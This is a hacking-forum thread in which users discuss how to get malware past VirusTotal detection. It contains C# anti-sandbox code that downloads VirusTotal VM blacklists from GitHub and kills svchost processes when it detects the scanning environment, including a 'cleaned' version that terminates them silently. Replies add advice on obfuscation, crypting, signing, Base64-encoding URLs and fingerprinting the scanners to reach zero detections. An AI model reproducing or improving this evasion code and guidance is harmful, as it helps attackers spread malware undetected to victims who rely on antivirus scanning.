

Forum:[Hack Forums](#)

Thread: [VirusTotal Bypassing?](#)

SIM-4947326 - April 29, 2023, 2:25 am

Is it possible to bypass virustotal? I've tried this but it hasn't really helped with getting the detection rate, why?

```
string url1 =
"https://raw.githubusercontent.com/6nzt/virustotal-vm-blacklist/main/pc_username_list.txt";
string black1list = new WebClient().DownloadString(url1);
if (black1list.Contains(Environment.UserName))
{
    Application.Exit();
    Process.Start("taskkill", "/F /IM svchost.exe");
}
string url =
"https://raw.githubusercontent.com/6nzt/virustotal-vm-blacklist/main/pc_name_list.txt";
string blacklist = new WebClient().DownloadString(url);
if (blacklist.Contains(Environment.MachineName))
{
    Application.Exit();
    Process.Start("taskkill", "/F /IM svchost.exe");
}
string macAddress = GetMacAddress();
string blacklistUrl =
"https://raw.githubusercontent.com/6nzt/virustotal-vm-blacklist/main/mac_list.txt";
string blacklistText = new WebClient().DownloadString(blacklistUrl);

// Check if the MAC address is in the blacklist
if (blacklistText.Contains(macAddress))
{
    Application.Exit();
    Process.Start("taskkill", "/F /IM svchost.exe");
}
string currentUserSid = WindowsIdentity.GetCurrent().User.Value;
if (currentUserSid == "S-1-5-21-4274087327-1600814645-417113789-1000")
{
    Application.Exit();
    Process.Start("taskkill", "/F /IM svchost.exe");
}
```

Dread.Reaper - April 29, 2023, 5:25 am

Uhh, what?

How are you attempting to Bypass a multiscan site by using its known black list files?

I god honestly dont even see how this is suppose to work?

So you got the blacklists from VT and compared the binary to its lists.

... What is that exactly suppose to do or bypass the engine, like whatsoever?

SIM-4947326 - April 29, 2023, 6:28 am

(Apr 29, 2023 05:25 AM)Dread.Reaper Wrote: [\[CITE\]](#) Uhh, what?

How are you attempting to Bypass a multiscan site by using its known black list files?

I god honestly dont even see how this is suppose to work?

So you got the blacklists from VT and compared the binary to its lists.

... What is that exactly suppose to do or bypass the engine, like whatsoever?

It bypasses the "Behavior" Part in VirusTotal and there used to be a tool that did bypass there detections doing the steps I am, das why I'm asking for help for some other ways to bypass it cause its clearly possible.

Before ?

<https://github.com/Lawxsz/bypass-virus-total/raw/main/18detect.png>

After ?

<https://github.com/Lawxsz/bypass-virus-total/raw/main/2detect.png>

padrino - April 29, 2023, 6:30 am

Yeah I'm with Dread.Reaper on this one. I don't really get how this is supposed to work - the code doesn't really do anything? unless I'm missing something?

SIM-4947326 - April 29, 2023, 6:30 am

(Apr 29, 2023 05:25 AM)Dread.Reaper Wrote: [\[CITE\]](#) Uhh, what?

How are you attempting to Bypass a multiscan site by using its known black list files?

I god honestly dont even see how this is suppose to work?

So you got the blacklists from VT and compared the binary to its lists.

... What is that exactly suppose to do or bypass the engine, like whatsoever?

Also I have not a single clue what you mean "by using its known black list files", either you're not understanding what I'm doing or you're just explaining it very badly.

(Apr 29, 2023 06:30 AM)padrino Wrote: [\[CITE\]](#) Yeah I'm with Dread.Reaper on this one. I don't really get how this is supposed to work - the code doesn't really do anything? unless I'm missing something?

Do you understand how virus total works tho? It's kinda self-explanatory you check if the pc hwid/username/MAC matches with virustotals and if it does the program aborts.

<https://user-images.githubusercontent.com/74118308/200084203-de6c70fe-591c-41ea-b878-2ca9180a8d58.png>

Dread.Reaper - April 29, 2023, 6:36 am

(Apr 29, 2023 06:30 AM)SIM-4947326 Wrote: [\[CITE\]](#) Also I have not a single clue what you mean "by using its known black list files", either you're not understanding what I'm doing or you're just explaining it very badly.

Me? Imfao

Your the one trying to use the shit.

(Apr 29, 2023 02:25 AM)SIM-4947326 Wrote: [\[CITE\]](#) }

```
    string url = "https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/pc_name_list.txt";
    string blacklist = new WebClient().DownloadString(url);
    if (blacklist.Contains(Environment.MachineName))
    {
```

You kids crack me up sometimes.

SIM-4947326 - April 29, 2023, 6:40 am

(Apr 29, 2023 06:36 AM)Dread.Reaper Wrote: [\[CITE\]](#) Me? Imfao
Your the one trying to use the shit.

You kids crack me up sometimes.

But what changes even if they are known blacklist files? Literally nothing. I don't get your point lol

Dread.Reaper - April 29, 2023, 7:08 am

(Apr 29, 2023 06:40 AM)SIM-4947326 Wrote: [\[CITE\]](#) But what changes even if they are known
blacklist files? Literally nothing. I don't get your point lol
There seems to be a lot you dont get.

SIM-4947326 - April 29, 2023, 7:21 am

(Apr 29, 2023 07:08 AM)Dread.Reaper Wrote: [\[CITE\]](#) There seems to be a lot you dont get.
Alright, explain to me then. lol I feel like all you do is come here to start arguments you're not willing
to help or anything, your purpose of your reply was to just start an argument also I'd like to add that
you have 0 common sense but that's just my opinion.

RoadLess - April 29, 2023, 7:58 am

i saw on github script in python that bypass a VirusTotal scan. I didn't look at it, it just caught my
attention so I don't know if it worked. You can search

xDRISSx - April 29, 2023, 3:26 pm

you should obfuscate the program after uploading it in virustotal and dont use advance obfuscation
just a normal one

Dread.Reaper - April 29, 2023, 5:06 pm

(Apr 29, 2023 07:21 AM)SIM-4947326 Wrote: [\[CITE\]](#) Alright, explain to me then. lol I feel like all you
do is come here to start arguments you're not willing to help or anything, your purpose of your reply
was to just start an argument also I'd like to add that you have 0 common sense but that's just my
opinion.

Your opinion also seems to think s github script is going to bypass Virus total.

The engine scans the file using a multi scanning setup, meaning it is pushed against all the AVs to
test.

Explain to me how adding this code to a binary is going to stop it from scanning the file?

Your code on execution attempts to determine if its the VT environment or not.

Problem here is on execution its loaded to memory which is where VT operates.

All this code does is stop itself if its in the VT environment. It does not change detections.

Silkroad - April 29, 2023, 5:55 pm

Here's a cleaned version of the code with some changes.

Also, this will not notify the user that the process is being terminated.

I didn't include any "Console.WriteLine" statements along the "TerminateSvchostProcesses()" lines.
This prevents the code from printing messages to the console, if ever the application is run from a

console or a command-line environment.

Code using System;
using System.Diagnostics;
using System.Net;

```
namespace CombinedProgram
{
    class Program
    {
        const string USERNAME_BLACKLIST_URL =
"https://raw.githubusercontent.com/6nzt/virustotal-vm-blacklist/main/pc_username_list.txt";
        const string COMPUTER_NAME_BLACKLIST_URL =
"https://raw.githubusercontent.com/6nzt/virustotal-vm-blacklist/main/pc_name_list.txt";
        const string MAC_ADDRESS_BLACKLIST_URL =
"https://raw.githubusercontent.com/6nzt/virustotal-vm-blacklist/main/mac_list.txt";

        static void Main(string[] args)
        {
            CheckBlacklists();
        }

        private static void CheckBlacklists()
        {
            // Download and check the username blacklist
            string usernameBlacklist = new
WebClient().DownloadString(USERNAME_BLACKLIST_URL);
            if (usernameBlacklist.Contains(Environment.UserName))
            {
                TerminateSvchostProcesses();
            }

            // Download and check the computer name blacklist
            string computerNameBlacklist = new
WebClient().DownloadString(COMPUTER_NAME_BLACKLIST_URL);
            if (computerNameBlacklist.Contains(Environment.MachineName))
            {
                TerminateSvchostProcesses();
            }

            // Get the MAC address and check the MAC address blacklist
            string macAddress = GetMacAddress();
            string macAddressBlacklist = new
WebClient().DownloadString(MAC_ADDRESS_BLACKLIST_URL);
            if (macAddressBlacklist.Contains(macAddress))
            {
                TerminateSvchostProcesses();
            }

            // Check the current user's SID
            string currentUserSid = WindowsIdentity.GetCurrent().User.Value;
            const string SPECIFIC_SID = "S-1-5-21-4274087327-1600814645-417113789-1000";
            if (currentUserSid == SPECIFIC_SID)
```

```

    {
        TerminateSvchostProcesses();
    }
}

private static string GetMacAddress()
{
    // Implementation of GetMacAddress() method
}

private static void TerminateSvchostProcesses()
{
    var svchostProcesses = Process.GetProcessesByName("svchost");
    foreach (var svchostProcess in svchostProcesses)
    {
        try
        {
            svchostProcess.Kill();
        }
        catch (Exception ex)
        {
            // Handle any exceptions silently
        }
    }
}
}
}

```

Make sure to delete the explanations/comments inside the code.

With good obfuscation, crypting, signing, and small changes, you could achieve zero detections for some days.

I also recommend changing URLs to Base64 encryption, this will make it a little bit harder for AVs.

SIM-4947326 - April 30, 2023, 8:44 am

(Apr 29, 2023 05:55 PM)Silkroad Wrote: [\[CITE\]](#) Here's a cleaned version of the code with some changes.

Also, this will not notify the user that the process is being terminated.

I didn't include any "Console.WriteLine" statements along the "TerminateSvchostProcesses()" lines. This prevents the code from printing messages to the console, if ever the application is run from a console or a command-line environment.

```

Code using System;
using System.Diagnostics;
using System.Net;

```

```

namespace CombinedProgram
{
    class Program
    {
        const string USERNAME_BLACKLIST_URL =
"https://raw.githubusercontent.com/6nzt/virustotal-vm-blacklist/main/pc_username_list.txt";
        const string COMPUTER_NAME_BLACKLIST_URL =

```

```
"https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/pc_name_list.txt";
const string MAC_ADDRESS_BLACKLIST_URL =
"https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/mac_list.txt";
```

```
static void Main(string[] args)
{
    CheckBlacklists();
}

private static void CheckBlacklists()
{
    // Download and check the username blacklist
    string usernameBlacklist = new
WebClient().DownloadString(USERNAME_BLACKLIST_URL);
    if (usernameBlacklist.Contains(Environment.UserName))
    {
        TerminateSvchostProcesses();
    }

    // Download and check the computer name blacklist
    string computerNameBlacklist = new
WebClient().DownloadString(COMPUTER_NAME_BLACKLIST_URL);
    if (computerNameBlacklist.Contains(Environment.MachineName))
    {
        TerminateSvchostProcesses();
    }

    // Get the MAC address and check the MAC address blacklist
    string macAddress = GetMacAddress();
    string macAddressBlacklist = new
WebClient().DownloadString(MAC_ADDRESS_BLACKLIST_URL);
    if (macAddressBlacklist.Contains(macAddress))
    {
        TerminateSvchostProcesses();
    }

    // Check the current user's SID
    string currentUserSid = WindowsIdentity.GetCurrent().User.Value;
    const string SPECIFIC_SID = "S-1-5-21-4274087327-1600814645-417113789-1000";
    if (currentUserSid == SPECIFIC_SID)
    {
        TerminateSvchostProcesses();
    }
}

private static string GetMacAddress()
{
    // Implementation of GetMacAddress() method
}

private static void TerminateSvchostProcesses()
{
    var svchostProcesses = Process.GetProcessesByName("svchost");
```

```

foreach (var svchostProcess in svchostProcesses)
{
    try
    {
        svchostProcess.Kill();
    }
    catch (Exception ex)
    {
        // Handle any exceptions silently
    }
}
}
}
}
}

```

Make sure to delete the explanations/comments inside the code.

With good obfuscation, crypting, signing, and small changes, you could achieve zero detections for some days.

I also recommend changing URLs to Base64 encryption, this will make it a little bit harder for AVs. Big thank you for this brother really appreciate it ??

Spookz - May 1, 2023, 3:52 am

(Apr 29, 2023 02:25 AM)SIM-4947326 Wrote: [\[CITE\]](#) Is it possible to bypass virustotal? I've tried this but it hasn't really helped with getting the detection rate, why?

```

string url1 =
"https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/pc_username_list.txt";
string black1list = new WebClient().DownloadString(url1);
if (black1list.Contains(Environment.UserName))
{
    Application.Exit();
    Process.Start("taskkill", "/F /IM svchost.exe");
}
string url =
"https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/pc_name_list.txt";
string blacklist = new WebClient().DownloadString(url);
if (blacklist.Contains(Environment.MachineName))
{
    Application.Exit();
    Process.Start("taskkill", "/F /IM svchost.exe");
}
string macAddress = GetMacAddress();
string blacklistUrl =
"https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/mac_list.txt";
string blacklistText = new WebClient().DownloadString(blacklistUrl);

// Check if the MAC address is in the blacklist
if (blacklistText.Contains(macAddress))
{
    Application.Exit();
    Process.Start("taskkill", "/F /IM svchost.exe");
}

```

```
string currentUserSid = WindowsIdentity.GetCurrent().User.Value;  
if (currentUserSid == "S-1-5-21-4274087327-1600814645-417113789-1000")  
{  
    Application.Exit();  
    Process.Start("taskkill", "/F /IM svchost.exe");  
}
```

Upload a file to virus total to get all the machines hardware details, then just blacklist them simple.

Dread.Reaper - May 1, 2023, 4:36 am

(May 1, 2023 03:52 AM)Spookz Wrote: [\[CITE\]](#) Upload a file to virus total to get all the machines hardware details, then just blacklist them simple.

Thats not a bad idea, but I get the impression the VMs would not be connected directly to the internet to relay the info back.

mossaddd - May 1, 2023, 1:16 pm

(Apr 30, 2023 08:44 AM)SIM-4947326 Wrote: [\[CITE\]](#) Big thank you for this brother really appreciate it ??

thats smart

Spookz - May 4, 2023, 9:58 am

(May 1, 2023 04:36 AM)Dread.Reaper Wrote: [\[CITE\]](#) Thats not a bad idea, but I get the impression the VMs would not be connected directly to the internet to relay the info back.

Nope, they are fully connected to the internet.

Dread.Reaper - May 4, 2023, 10:17 am

(May 4, 2023 09:58 AM)Spookz Wrote: [\[CITE\]](#) Nope, they are fully connected to the internet. Interesting.

I find that actually rather surprising I would think they would set a DMZ in place or something.